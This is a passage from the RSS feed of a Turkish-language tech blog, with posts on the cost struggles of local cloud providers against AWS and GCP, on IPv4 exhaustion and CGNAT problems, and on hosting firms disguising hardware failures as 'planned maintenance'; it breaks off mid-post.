<p>Otomasyon hayatı kolaylaştırmak içindir; müşterinin hayatını karartmak için değil. Altyapınızı emanet ettiğiniz firmanın insani reflekslerini test edin; acil bir durumda size bir telefon açacak vicdana mı sahipler, yoksa cron betiğinin tetiğini çekip arkanıza bakmadan verilerinizi imha edecek birer dijital cellat mı olduklarını önceden öğrenin.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>Fatura</category>
            <category>Hosting</category>
            <category>Veri Kaybı</category>
            <category>Otomasyon</category>
            <category>SysAdmin</category>
            <category>WHMCS</category>
            <category>İnfaz</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/faturasini-unutan-kurumsal-musterinin-sunucusunun-sessizce-silinmesi/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[Yerli Bulut Girişimlerinin Küresel Devler Karşısındaki Fiyat Çıkmazı]]></title>
            <link>http://localhost:3000/blog/post/yerli-bulut-girisimlerinin-kuresel-devler-karsisindaki-fiyat-cikmazi</link>
            <guid>yerli-bulut-girisimlerinin-kuresel-devler-karsisindaki-fiyat-cikmazi</guid>
            <pubDate>Fri, 02 Jan 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Türkiye'de yerli sermayeyle bulut sağlayıcısı olmaya çalışan mühendislerin elektrik tarifeleri, döviz kuru ve transit IP maliyetleri kıskacında küresel devlerle (AWS/GCP) verdiği asimetrik savaş.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/yerli-bulut-girisimlerinin-kuresel-devler-karsisindaki-fiyat-cikmazi/thumbnail" alt=""> Taşrada yerli ve milli imkanlarla acil ambulans filosu kurmaya çalışan idealist bir hekim grubunu düşünün. Hastalara en hızlı şekilde ulaşmak, kendi insanına şifa olmak için yola çıkarlar. Ancak ambulansların motor parçaları Euro iledir, tıbbi cihazlar Dolar iledir, benzin fiyatları her hafta zamlanmaktadır ve yerel belediye garaj harçlarını katlamıştır. Tam o sırada karşılarına uluslararası devasa bir fonun finanse ettiği, kendi petrol rafinerisi ve uçak filosu olan küresel bir sağlık tekeli dikilir. Küresel tekel, devasa ölçek ekonomisi (economy of scale) sayesinde yakıtı toptan ucuza alır, cihazları fabrikasından doğrudan çeker ve bölgeye damping fiyatla girer. Yerli hekim grubu ise ambulansının kışlık lastiğini yenileyecek bütçe bulamazken halktan gelen şu sitemle karşılaşır: <em>"Siz neden o yabancı dev şirketten daha pahalısınız? Hem yerlisiniz hem ucuz değilsiniz!"</em> Bu serzeniş, arkadaki asimetrik maliyet uçurumunu ve makroekonomik mengenenin acımasızlığını bilmeyenlerin yüzeysel vicdan rahatlatmasıdır.</p>
<p>Türkiye'de yerli sermaye ve yerli mühendislikle <strong>"Yerli Bulut Sağlayıcısı (Local Cloud Provider)"</strong> inşa etmeye çalışan teknoloji girişimcilerinin Amazon Web Services (AWS), Google Cloud (GCP) veya Microsoft Azure karşısında verdiği savaş, tam olarak bu ambulans filosunun dramıdır.</p>
<hr>
<h2>Asimetrik Savaş: Ölçek Ekonomisi vs. Yerel Maliyet Mengensi</h2>
<p>Bir bulut altyapısı kurarken maliyetlerinizi belirleyen üç temel fiziksel girdi vardır:</p>
<ol>
<li><strong>Donanım Satın Alma Gücü (CAPEX)</strong></li>
<li><strong>Elektrik ve Soğutma Enerjisi (OPEX)</strong></li>
<li><strong>İnternet Bant Genişliği ve Transit Hatlar (Network Transit)</strong></li>
</ol>
<p>Şimdi bu üç parametrede bir küresel hiper-ölçekleyici (Hyperscaler) ile yerli bir Türk bulut girişimini karşılaştıralım:</p>
<pre><code>+------------------------------------------------------------------------+
|           KÜRESEL DEV (AWS / Azure) vs. YERLİ BULUT GİRİŞİMİ           |
|                                                                        |
|  [DONANIM ALIMI]                                                       |
|  AWS: Kendi çiplerini (Graviton/Nitro) doğrudan TSMC'ye ürettirir.      |
|       Yılda 500.000 sunucuyu toptan, sıfır gümrükle satın alır.        |
|  Yerli Bulut: Dell/Supermicro sunucuyu Dolar kuruyla, %20 KDV,          |
|       %10-20 Ek Gümrük Vergisi ve navlunla aracı distribütörden alır!  |
|                                                                        |
|  [ELEKTRİK VE ENERJİ]                                                  |
|  AWS: Nükleer santraller veya devasa güneş tarlalarıyla 20 yıllık      |
|       sabit fiyatlı PPA (Power Purchase Agreement) anlaşması yapar.    |
|       Elektrik maliyeti: 0.04$ / kWh.                                  |
|  Yerli Bulut: Türkiye'deki yüksek ticari elektrik tarifesine bağlıdır.  |
|       Elektrik maliyeti: 0.12$ - 0.16$ / kWh! (Tam 3-4 Katı!)         |
|                                                                        |
|  [İNTERNET BANDWITH / TRANSIT]                                         |
|  AWS: Kendi okyanus altı fiber kablolarına sahiptir. Transit maliyeti  |
|       sıfıra yakındır.                                                 |
|  Yerli Bulut: Türk Telekom ve yurtdışı Tier-1 operatörlere Gbps        |
|       başına her ay binlerce dolar döviz ödemek zorundadır!            |
+------------------------------------------------------------------------+
</code></pre>
<p>Yerli girişimci daha yarışa başlamadan, her bir sunucu çekirdeğini ve megabaytlık RAM'i küresel devden <strong>en az 3 kat daha pahalıya</strong> mal etmek zorundadır.</p>
<hr>
<h2>Dolar Kuru Kıskacı: Donanım Amortismanı Çıkmazı</h2>
<p>Bir bulut sunucusunun (Physical Node) teknolojik ömrü en fazla 4 ila 5 yıldır. 5 yıl sonra o işlemciler enerji tüketimi açısından verimsiz hale gelir ve yenilenmesi gerekir.</p>
<p>Yerli bulut firması 2022 yılında 100.000 Dolar kredi çekerek sunucu filosu kurar.</p>
<ul>
<li>Müşterilerine fiyatları Türk Lirası ile satmak zorundadır (çünkü Türkiye pazarında TL fatura kesilmesi teşvik edilir).</li>
<li>Ancak Dolar kuru 2 yıl içinde iki katına çıktığında, şirketin kasasına giren TL geliriyle o sunucunun borcunu kapatması imkansız hale gelir!</li>
<li>Yeni donanım yatırımı yapamaz; mevcut eski donanımları son sınırına kadar zorlamak zorunda kalır.</li>
</ul>
<p>Sonuç: Donanım yaşlanır, diskler arızalanmaya başlar ve küresel devlerin sunduğu en yeni nesil AMD EPYC / Intel Xeon işlemcilerin gerisinde kalınır.</p>
<hr>
<h2>"Hem Yerli Hem Ucuz Olmalı" Toplumsal Çelişkisi</h2>
<p>Türkiye'deki yazılımcıların ve şirket yöneticilerinin yerli bulut firmalarına yaklaşımı ironik bir ikiyüzlülük içerir:</p>
<ul>
<li>AWS veya Azure'a kredi kartını bağlar. Her ay sorgusuz sualsiz <strong>3.000 Dolar (100.000+ TL)</strong> fatura öder. Tek bir gün faturaya itiraz etmez; <em>"Adamlar Amazon, tabii ki pahalı olacak, kurumsal dünya böyle"</em> der.</li>
<li>Aynı yazılımcı yerli bir bulut sağlayıcısına gelir. Benzer konfigürasyondaki bir VDS için yerli firma aylık <strong>800 TL</strong> istediğinde kıyameti koparır: <em>"800 TL çok pahalı! Alt tarafı bir sanal sunucu veriyorsunuz, yerlisiniz bir de, 200 TL olması lazım!"</em></li>
</ul>
<p>Küresel deve dolarları oluk oluk akıtan zihniyet, yerli mühendise gelince maliyetinin altına hizmet talep eder. Bu acımasız fiyat baskısı, yerli bulut sağlayıcılarını iki kötü yoldan birini seçmeye zorlar:</p>
<ol>
<li><strong>Aşırı Overcommit Yapmak:</strong> Fiyatı ucuz tutabilmek için tek bir sunucuya kapasitesinin 5 katı müşteri bindirir; performans çöker ve müşteri kaybeder.</li>
<li><strong>Yedeklilikten Ödün Vermek:</strong> İkinci bir yedekli trafo veya jeneratör yatırımını erteler; ilk elektrik kesintisinde masada kalır.</li>
</ol>
<hr>
<h2>Veri Egemenliği ve KVKK Avantajı: Yerli Bulutun Hayati Rolü</h2>
<p>Peki, tüm bu korkunç finansal eşitsizliğe rağmen yerli bulut sağlayıcıları neden yaşamak ve desteklenmek zorundadır?</p>
<p>Cevap: <strong>Dijital Egemenlik ve Hukuki Güvenliktir.</strong></p>
<ol>
<li><strong>KVKK ve Regülasyon Kalkanı:</strong><br>
Bankacılık (BDDK), sağlık verileri (Sağlık Bakanlığı), e-devlet entegrasyonları ve savunma sanayii verileri yasa gereği Türkiye sınırları dışına çıkarılamaz. Küresel devlerin Türkiye'de bağımsız bir bulut veri merkezi bölgesi (Cloud Region) olmadığı sürece bu kritik veriler yalnızca yerli veri merkezlerinde yaşayabilir.</li>
<li><strong>CLOUDACT Tehdidi:</strong><br>
ABD merkezli bir bulut sağlayıcısında (AWS, Google, Microsoft) tuttuğunuz veriler, sunucu fiziksel olarak nerede olursa olsun ABD mahkemelerinin <strong>CLOUD Act</strong> yasası kapsamında tek bir emirle Amerikan istihbaratına açılabilir. Yerli bulut, bu yargı yetkisi dışındaki tek bağımsız sığınaktır.</li>
<li><strong>Düşük Ağ Gecikmesi (Latency):</strong><br>
Fintech, yüksek frekanslı ticaret (HFT) ve yerel e-ticaret için Türkiye içindeki 3-5 milisaniyelik ping süresi, Frankfurt'un 60 milisaniyesine karşı tartışmasız bir fiziksel üstünlüktür.</li>
</ol>
<hr>
<h2>Devlet Politikası ve Hayatta Kalma Reçetesi</h2>
<p>Yerli bulut ekosisteminin küresel devlerin ayakları altında ezilip yok olmaması için bireysel kahramanlıklar yetmez; yapısal reformlar şarttır:</p>
<ul>
<li><strong>Enerji Teşvikleri:</strong> Veri merkezleri ağır sanayi statüsüne alınmalı, elektrik tüketiminde KDV ve ÖTV muafiyetleri getirilmelidir.</li>
<li><strong>Donanım İthalatında Vergi Sıfırlaması:</strong> Bulut altyapısında kullanılacak sunucu ve ağ ekipmanlarından gümrük vergileri ve ek mali yükümlülükler kaldırılmalıdır.</li>
<li><strong>Kamu Satın Alma Garantisi:</strong> Kamu kurumları ve belediyeler kendi içlerinde hantal veri merkezleri kurmak yerine, yerli bulut sağlayıcılarından hizmet alımını zorunlu tutmalıdır.</li>
</ul>
<h2>Sonuç</h2>
<p>Kendi ambulans filosunu kuramayan bir kasaba acil durumlarda yabancı şirketlerin insafına kalır; kendi yerli bulut altyapısını yaşatamayan bir ülke de dijital geleceğini küresel teknoloji tekellerinin sunucularına ipotek eder.</p>
<p>Yerli bulut sağlayıcıları sadece ticari birer şirket değil; ülkenin siber sınırlarını koruyan dijital karakollardır. Onları küresel devlerle aynı kefeye koyup "neden daha ucuz değilsiniz" diye hırpalamak yerine; hangi yangınların ve maliyet fırtınalarının ortasında ayakta kaldıklarını anlamak ve yerel altyapıya sahip çıkmak zorundayız.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>Bulut Bilişim</category>
            <category>AWS</category>
            <category>GCP</category>
            <category>Yerli Bulut</category>
            <category>Enerji Maliyetleri</category>
            <category>Döviz Kuru</category>
            <category>Türkiye</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/yerli-bulut-girisimlerinin-kuresel-devler-karsisindaki-fiyat-cikmazi/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[IPv4 Tükenmesi ve Carrier-Grade NAT (CGNAT) İşkencesi]]></title>
            <link>http://localhost:3000/blog/post/ipv4-tukenmesi-ve-carrier-grade-nat-cgnat-iskencesi</link>
            <guid>ipv4-tukenmesi-ve-carrier-grade-nat-cgnat-iskencesi</guid>
            <pubDate>Thu, 01 Jan 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[IPv4 adreslerinin karaborsaya düşmesiyle internet servis sağlayıcılarının ve ucuz hosting firmalarının binlerce kullanıcıyı tek bir IP arkasına tıkıştırdığı CGNAT cehennemi ve kilitlenen API'ler.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/ipv4-tukenmesi-ve-carrier-grade-nat-cgnat-iskencesi/thumbnail" alt=""> Büyük bir metropol hastanesinin acil servisine aynı gün başvuran 500 farklı hastayı düşünün. Hastane yönetimi, "Hasta kayıt bilekliği ve protokol numarası bastırmak çok pahalıya geliyor, tasarruf edelim" diyerek akıl almaz bir karar alır. 500 hastanın koluna tek bir isim ve tek bir T.C. kimlik numarası yazılı aynı fotokopi bilekliği takar: <em>"Hepinizin sistemdeki adı 'Hasta No: 1042'dir, eczaneye ve tahlile bu kartla gideceksiniz."</em> Yarım saat sonra o 500 hastadan biri acilde taşkınlık çıkarır veya sahte reçeteyle ilaç almaya çalışır. Güvenlik ve polis sistemi 'Hasta No: 1042' kimliğini anında kara listeye alır ve kilitler. O andan itibaren diğer 499 masum hastanın da sistemi kilitlenir! Kalp krizi geçiren adamın kan tahlili yapılamaz, astım hastasına oksijen verilemez; çünkü hastane sistemine göre o tek kimlik bloklanmıştır! Tek bir kimliğe yüzlerce bağımsız insanı tıkıştıran bu sorumsuzluk, tüm hastaneyi anında felç eder.</p>
<p>Telekomünikasyon dünyasında ve internet servis sağlayıcılarında (ISP) <strong>Carrier-Grade NAT (CGNAT / CGN / LSN - Büyük Ölçekli Ağ Adresi Dönüştürme)</strong> uygulaması, tam olarak bu 500 hastaya tek bir kimlik kartı takma faciasıdır.</p>
<p>IPv4 adreslerinin küresel olarak tükenmesi ve IPv6'ya geçişin yıllardır ötelenmesi, modern interneti devasa bir paylaşımlı kimlik cehennemine çevirmiştir.</p>
<hr>
<h2>4.3 Milyarlık Limit: Matematik Neden İflas Etti?</h2>
<p>1981 yılında internetin temelleri (RFC 791) atılırken 32-bitlik <strong>IPv4</strong> adresi standardı kabul edildi. Toplamda üretilebilecek adres sayısı:<br>
<code>2^32 = 4.294.967.296 (Yaklaşık 4.3 Milyar Adres)</code>.</p>
<p>1980'lerde bu sayı sonsuz gibi görünüyordu; çünkü internet sadece üniversitelerin ve ordunun kullandığı bir ağdı. Ancak akıllı telefonların, IoT cihazlarının, akıllı televizyonların ve milyarlarca insanın internete girmesiyle bu havuz tükendi:</p>
<ul>
<li><strong>Şubat 2011:</strong> IANA son serbest IPv4 bloklarını tüketti.</li>
<li><strong>Kasım 2019:</strong> Avrupa ve Ortadoğu'dan sorumlu RIPE NCC, elindeki son <code>/22</code> IPv4 bloğunu tahsis ettiğini ve resmi olarak IPv4'ün bittiğini ilan etti.</li>
</ul>
<p>Artık sıfırdan bir IP bloğu alamazsınız. Bir <code>/24</code> lük blok (256 adet IP) bugün karaborsada yıllık binlerce dolara kiralanmakta veya satılmaktadır.</p>
<hr>
<h2>CGNAT Mimarisi: 1 Kamu IP'sine 2.000 Abone!</h2>
<p>İnternet Servis Sağlayıcıları (Türk Telekom, Superonline, Vodafone vb.) her yeni ev ve iş yeri abonesine benzersiz bir Genel (Public) IP veremez hale gelince <strong>CGNAT (RFC 6598)</strong> devreye sokuldu.</p>
<p>Evdeki router'ınızın arkasında standart NAT (192.168.1.x) çalışır. ISP ise bu trafiği doğrudan internete çıkarmak yerine, aboneleri kendi içindeki devasa bir ara ağa (<code>100.64.0.0/10</code> bloğuna) alır.</p>
<pre><code>[Ev A - Ahmet Bey]   ─── (100.64.12.4) ──┐
[Ev B - Mehmet Bey]  ─── (100.64.12.5) ──┼──► [ISP CGNAT Yönlendiricisi] ──► [Tek Bir Public IP: 88.255.10.20]
[Ofis C - E-Ticaret] ─── (100.64.12.6) ──┘                                           │
                                                                                     ▼
                                                                           [TÜM İNTERNET DÜNYASI]
                                                                        (Google, Cloudflare, Bankalar)
</code></pre>
<p>Sonuç: Aynı mahallede oturan, birbirini hiç tanımayan 2.000 farklı hane internete <strong>TEK BİR IP ADRESİNDEN (<code>88.255.10.20</code>)</strong> çıkar!</p>
<hr>
<h2>CGNAT Cehennemi: Geliştirici ve E-Ticaretçinin Karşılaştığı Duvarlar</h2>
<p>Bir ev kullanıcısı sadece YouTube veya Instagram geziyorsa CGNAT'ı fark etmeyebilir. Ancak bir yazılımcı, sistem yöneticisi veya e-ticaret işletmecisi için CGNAT tam bir operasyonel kabustur:</p>
<h3>1. Komşunun Günahı: Cloudflare "Ben Robot Değilim" Sonsuz Döngüsü</h3>
<p>Aynı CGNAT IP'sini paylaştığınız 2.000 kişiden birinin bilgisayarına virüs bulaşmıştır ve arka planda bir yere port taraması veya brute-force yapmaktadır.<br>
Cloudflare ve Google, o tek IP'yi anında "Şüpheli / Zararlı" ilan eder. Siz bir siteye girmeye çalıştığınızda önünüze o meşhur çileli CAPTCHA kutuları çıkar: <em>"Lütfen yangın musluklarını seçiniz... Lütfen motosikletleri seçiniz..."</em> 5 dakika boyunca trafik lambası tıklamak zorunda kalırsınız; bazen siteye hiç sokmaz.</p>
<h3>2. API İsteklerinde "Rate Limit Exceeded" Duvarı</h3>
<p>Yazılımınız harici bir servisin (Twitter API, GitHub API, TCMB Döviz Kurları, Google Maps API) ücretsiz veya IP bazlı kotalı endpoint'ine istek atar.<br>
Ancak API sunucusu sizin IP'nize bakar: O IP'den son 1 dakikada 500 istek gelmiştir (çünkü diğer komşular da istek atmaktadır!). API anında kapıyı yüzünüze kapatır:<br>
<code>HTTP 429 Too Many Requests (Rate limit exceeded)</code>.<br>
Sizin yazılımınız tek bir istek atmış olsa bile komşularınızın kotası yüzünden kilitlenirsiniz.</p>
<h3>3. Port Yönlendirme (Port Forwarding) İmkânsızlığı</h3>
<p>Evdeki veya ofisteki bir sunucuya, güvenlik kamerası kayıt cihazına (NVR) veya test sunucunuza dışarıdan erişmek için modeme girip <code>Port 80 / 443 / 22</code> açmak istersiniz.<br>
Açamazsınız! Çünkü modeminizin WAN IP'si internette var olmayan sahte bir <code>100.64.x.x</code> adresidir. Dış dünyadan o porta gelen paketlerin CGNAT duvarını aşıp sizin modeminize ulaşması fiziksel olarak imkânsızdır.</p>
<h3>4. Sanal POS ve Banka IP Güvenliği Çatışması</h3>
<p>Bankalardan doğrudan Sanal POS entegrasyonu alırken banka güvenlik formu doldurtur: <em>"Sanal POS isteklerini atacağınız Statik IP adresinizi yazınız."</em><br>
Eğer ofisiniz CGNAT havuzundaysa, IP adresiniz modemi her açıp kapattığınızda veya ISP yük dengeleme yaptıkça değişir. Banka farklı bir IP'den istek geldiğini gördüğü an işlemi güvenlik şüphesiyle reddeder:<br>
<code>Hata Kodu 99: Yetkisiz IP Adresinden İşlem Denendi.</code><br>
E-ticaret sitenizde müşterilerin kartları çekilemez.</p>
<hr>
<h2>Teşhis: CGNAT Havuzunda mıyım?</h2>
<p>Bunu anlamak 10 saniyelik bir kontrol gerektirir:</p>
<pre><code class="language-bash"># 1. Modem yönetim paneline girin ve WAN IP adresinize bakın.
# Örneğin WAN IP: 100.72.45.12

# 2. Tarayıcınızdan bir IP sorgulama sitesi açın (ipinfo.io veya whatismyip.com).
# Örneğin Görünen IP: 88.245.18.90
</code></pre>
<p>Eğer modemin gördüğü WAN IP'si <code>100.64.0.0</code> ile <code>100.127.255.255</code> arasındaysa ve dış dünyada görünen IP ile <strong>BİREBİR AYNI DEĞİLSE</strong>; kesin teşhis: <strong>CGNAT Karantinasındasınız.</strong></p>
<hr>
<h2>Kurtuluş Yolu: Reçete ve Gelecek</h2>
<p>Bu tıkanıklıktan kurtulmanın iki yolu vardır:</p>
<ol>
<li><strong>Parayı Verip Statik IP Satın Almak (Pansuman):</strong><br>
ISP'nizi ararsınız: <em>"Beni CGNAT havuzundan çıkarın, bana özel Statik IP tanımlayın."</em> Her ay faturanıza ek 50-100 TL ödersiniz. ISP sizi özel IP havuzuna alır, modeminiz doğrudan gerçek bir Public IP alır. Sorun çözülür; ancak bu sadece bir pansumandır.</li>
<li><strong>Kalıcı ve Nihai Çözüm: IPv6 Geçişi (Radikal Tedavi):</strong><br>
IPv6, 128-bitlik devasa bir adres uzayı sunar (<code>3.4 x 10^38</code> adet adres!). Dünyadaki her bir kum tanesine trilyonlarca IP verilebilir. IPv6'da NAT'a, CGNAT'a ihtiyaç yoktur; her cihazın kendi mutlak global adresi vardır.<br>
Ancak Türkiye'deki yerleşik operatörler altyapı yatırımı yapmamak ve Statik IP kiralama gelirlerini kaybetmemek için IPv6 geçişini yıllardır ağırdan almaktadır.</li>
</ol>
<h2>Sonuç</h2>
<p>500 hastayı tek bir kimlik kartıyla hastanede dolaştıran zihniyet salgını yönetemez; binlerce aboneyi tek bir IPv4 arkasına tıkıştıran altyapı da modern internetin hızını ve güvenliğini taşıyamaz.</p>
<p>CGNAT bir teknoloji değil; tükenmişliğin getirdiği zorunlu bir yamadır. İnternetin gerçek potansiyelini yaşamak ve kilitlenen API'lerden, engellenen işlemlerden kurtulmak istiyorsak; geçici statik IP rüşvetleriyle günü kurtarmayı bırakıp tüm sektörü gecikmiş olan IPv6 devrimine zorlamak zorundayız.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>IPv4</category>
            <category>CGNAT</category>
            <category>NAT</category>
            <category>Ağ Yönetimi</category>
            <category>Rate Limit</category>
            <category>IP Tükenmesi</category>
            <category>Hosting</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/ipv4-tukenmesi-ve-carrier-grade-nat-cgnat-iskencesi/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[Gece 3'te Gelen 'Planlı Bakım' Yalanı ve Patlayan Donanımlar]]></title>
            <link>http://localhost:3000/blog/post/gece-3te-gelen-planli-bakim-yalani-ve-patlayan-donanimlar</link>
            <guid>gece-3te-gelen-planli-bakim-yalani-ve-patlayan-donanimlar</guid>
            <pubDate>Wed, 31 Dec 2025 00:00:00 GMT</pubDate>
            <description><![CDATA[Sunucu donanımı kül olan, RAID kartı yanan veya diski patlayan sağlayıcıların panik içinde müşteriye 'Altyapımızda planlı iyileştirme yapılmaktadır' yalanıyla kriz örtbas etme tiyatrosu.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/gece-3te-gelen-planli-bakim-yalani-ve-patlayan-donanimlar/thumbnail" alt=""> Büyük bir hastanenin yoğun bakım katında gece saat 03:15'te ana oksijen dağıtım borusunun yüksek basınçla patladığını ve bodrumdaki elektrik jeneratörünün alev aldığını gözünüzün önüne getirin. Koridorlar duman altı olmuştur, hemşireler ellerinde manuel balon valf maskelerle (ambu) hastaları nefes aldırmaya çalışmakta, teknik servis ellerinde yangın tüpleriyle sağa sola koşuşturmaktadır. Tam o sırada servisin kapısına endişeyle koşan hasta yakınlarının karşısına hastane halkla ilişkiler müdürü çıkar. Yüzüne zoraki, son derece rahat bir tebessüm yerleştirir ve megafonla şunu duyurur: <em>"Değerli hasta yakınlarımız, endişelenecek hiçbir şey yoktur. Hastalarımızın yaşam kalitesini ve konforunu artırmak amacıyla servisimizde önceden takvimlendirilmiş PLANLI BİR BOYA-BADANA ve ampul yenileme çalışması yürütülmektedir. Kısa süre sonra odalarımız daha aydınlık olacaktır. Anlayışınız için teşekkür ederiz."</em> Arkadan gelen patlama sesleri ve sedye çığlıkları bu yalanı boğarken, sergilenen tavır bir kriz yönetimi değil; saf bir kurumsal yüzsüzlüktür.</p>
<p>Bilişim, web barındırma ve bulut altyapısı sektöründe gece yarısı saat 03:00'te veya pazar sabahı cep telefonunuza düşen o meşhur e-posta da tam olarak bu boya-badana yalanının dijital versiyonudur:<br>
<strong>"Duyuru: Sistemlerimizde Hizmet Kalitemizi Artırmak Adına Planlı Bakım Çalışması Yapılmaktadır."</strong></p>
<p>Oysa perdenin arkasındaki beyaz alanda (White Space), bir donanım kül olmuş, bir RAID dizisi dağılmış ve sistem mühendisleri soğuk terler dökerek masadaki cesedi hayata döndürmeye çalışmaktadır.</p>
<hr>
<h2>"Planlı Bakım" Kavramının Cerrahi Tanımı</h2>
<p>Sistem mühendisliğinde ve ITIL (Information Technology Infrastructure Library) standartlarında <strong>Planlı Bakım (Scheduled Maintenance)</strong> kavramı son derece net, disiplinli ve saygın bir prosedürdür:</p>
<ol>
<li><strong>Önceden Bildirim (RFC - Request for Change):</strong> Bakımın ne zaman başlayacağı, ne kadar süreceği (örneğin 03:00 - 04:30), hangi servislerin etkileneceği müşterilere <strong>en az 72 saat (bazen 1 hafta) önce</strong> resmi olarak duyurulur.</li>
<li><strong>Geri Alma Planı (Rollback Plan):</strong> İşlem sırasında bir aksilik çıkarsa sistemin 15 dakika içinde eski çalışan haline nasıl döndürüleceği yazılı bir protokole bağlanmıştır.</li>
<li><strong>Müşteri Hazırlığı:</strong> E-ticaret siteleri, bankalar veya kritik sistemler veritabanlarını yedekler, kampanyalarını durdurur, nöbetçi yazılımcı görevlendirir.</li>
</ol>
<p>Eğer bir "bakım" duyurusu, <strong>kesinti başladıktan 15 dakika sonra</strong> yapılıyorsa veya gece saat 02:45'te atılan bir e-postayla <em>"03:00'te sunucularımız bakıma alınacaktır"</em> deniyorsa; o işlem planlı bir bakım değil, <strong>patlak vermiş bir felaketin üzerini örtmek için uydurulmuş panik bildirimidir.</strong></p>
<pre><code>[PLANLI BAKIM İDDİASI]
Duyuru Saati: 03:14
"Sayın müşterimiz, altyapımızda planlı kernel ve switch güncellemesi yapılmaktadır."

[ARKA PLANDAKİ GERÇEK]
Olay Saati: 02:58
- 14 Numaralı KVM Node'un anakartı yüksek voltajla yandı!
- RAID 10 dizisindeki 4 diskten 2'si aynı anda arızalandı!
- Sanal sunucular çöktü, 150 müşterinin sitesi kapandı!
- Yönetici panikle bağırdı: "Hemen siteye 'Planlı Bakım' duyurusu geçin, arızayı anlamasınlar!"
</code></pre>
<hr>
<h2>Patolojinin Anatomisi: Gece Yarısı Çıkan Donanım Yangını</h2>
<p>Gündüz saatlerinde hiçbir sorun yokmuş gibi çalışan ucuz, ikinci el ve ömrünü tamamlamış sunucu donanımları genellikle geceleri pes eder:</p>
<h3>1. RAID Kontrolcüsü Hafızasının (BBU) Çökmesi</h3>
<p>Eski nesil LSI / MegaRAID kartlarının üzerindeki lityum batarya (BBU - Battery Backup Unit) şişer veya kontrolcü aşırı ısınmadan kilitlenir. Write-Back modundaki yazma önbelleği diske aktarılamadan uçup gider. RAID dizisi aniden <code>OFFLINE</code> durumuna düşer. Sunucu üzerindeki 40 sanal makinenin dosya sistemi aynı saniyede salt-okunur (Read-Only) kilitlenir veya çekirdek paniği (Kernel Panic) fırlatır.</p>
<h3>2. Güç Kaynağının (PSU) Patlaması</h3>
<p>Redundant (çift) güç kaynağı olmayan ucuz kasalarda tek bir kondansatörün patlamasıyla sunucu tamamen elektriksiz kalır.</p>
<h3>3. Disklerin Domino Etkisiyle Ölümü</h3>
<p>Yıllardır aynı üretim partisinden çıkmış ve 45.000 çalışma saatini devirmiş SAS diskler aynı kabinde çalışmaktadır. Birinci disk bozulur. RAID dizisi yeniden inşa (rebuild) sürecine girer. Rebuild işlemi diğer diskleri %100 yük altında saatlerce zorlar. Ve o stres altında ikinci yaşlı disk de son nefesini verir! RAID dizisi tamamen parçalanır (Data Loss).</p>
<hr>
<h2>"Bakım Uzadı" Evresi: Yalanın İkinci Perdesi</h2>
<p>İlk duyuruda müşterilere şu söylenir:<br>
<em>"Çalışmanın tahmini olarak 1 saat içinde tamamlanması öngörülmektedir."</em></p>
<p>Ancak veri merkezindeki mühendisler anakartı değiştirmiş, diskleri takmış ama işletim sistemi açılmamıştır (<code>No bootable device found</code>). Veritabanı dosyaları bozulmuştur (<code>InnoDB: Page corruption</code>).</p>
<p>Saat 05:30 olur; siteler hala kapalıdır. İkinci duyuru gelir:<br>
<em>"Bakım çalışmamız sırasında öngörülemeyen teknik optimizasyon gereksinimleri doğmuş olup, servis kalitemizi en üst düzeye çıkarmak adına çalışmamız sabah 08:00'e kadar uzatılmıştır."</em></p>
<p>Saat 08:30 olur; mesai başlar, müşteriler telefonlara sarılır. Üçüncü duyuru:<br>
<em>"Veri bütünlüğü kontrolleri (fsck) titizlikle yürütülmektedir..."</em></p>
<p>Ve en sonunda öğleden sonra saat 14:00'te o acı itiraf gelir:<br>
<em>"Donanımsal bir arıza tespit edilmiş olup, müşterilerimizin dünkü yedekleri yeni bir sunucuya aktarılmaktadır."</em></p>
<p>Göz göre göre 12 saat boyunca yalan söylenmiş, müşterinin zamanı ve işi çalınmıştır.</p>
<hr>
<h2>Neden Yalan Söylenir? Kurumsal Korkaklık Kültürü</h2>
<p>Bir firmanın dürüstçe <em>"Ana makinemizin donanımında beklenmedik bir arıza yaşandı, yedek parçayı taktık ve kurtarma çalışması yapıyoruz"</em> demek yerine "Planlı Bakım" yalanına sığınmasının arkasında tek bir sebep yatar: <strong>Korku ve SLA İhlali Sorumluluğu.</strong></p>
<ol>
<li><strong>SLA (Service Level Agreement) Tazminatı:</strong><br>
Kurumsal sözleşmelerde %99.9 Uptime garantisi verilir. Beklenmedik bir kesinti SLA ihlali sayılır ve firma müşteriye ceza/iade ödemek zorunda kalır. Ancak sözleşmelerde küçük harflerle yazan bir istisna vardır: <em>"Planlı bakım çalışmaları SLA kesinti süresine dahil edilmez!"</em> Sağlayıcı, tazminat ödememek için donanım yangınına "Planlı Bakım" kılıfı giydirir!</li>
<li><strong>İtibar Kaybı Korkusu:</strong><br>
Eski donanım kullandıklarının, yedekli mimari kurmadıklarının ortaya çıkmasından ve forumlarda ipliklerinin pazara çıkmasından korkarlar.</li>
</ol>
<hr>
<h2>Profesyonel Kriz İletişimi: Dürüstlüğün İyileştirici Gücü</h2>
<p>Gerçek bir mühendislik kültürü arızayı gizlemez; arızayı şeffaflıkla yönetir.</p>
<p>Hastanede ameliyat sırasında beklenmedik bir damar yırtılması yaşandığında cerrah kapıya çıkıp <em>"Odalara lamba takıyoruz"</em> demez. Hasta yakınının gözünün içine bakar: <em>"Ameliyat sırasında ana damarda beklenmedik bir kanama gelişti. Hastayı kanama kontrolüne aldık, kan nakli yapıyoruz ve hastayı hayatta tutmak için tüm ekibimizle mücadele ediyoruz."</em> der. Hasta yakını korkar ama hekime güvenir; çünkü ortada dürüst bir mücadele vardır.</p>
<p>Teknoloji dünyasında da böyledir:</p>
<ul>
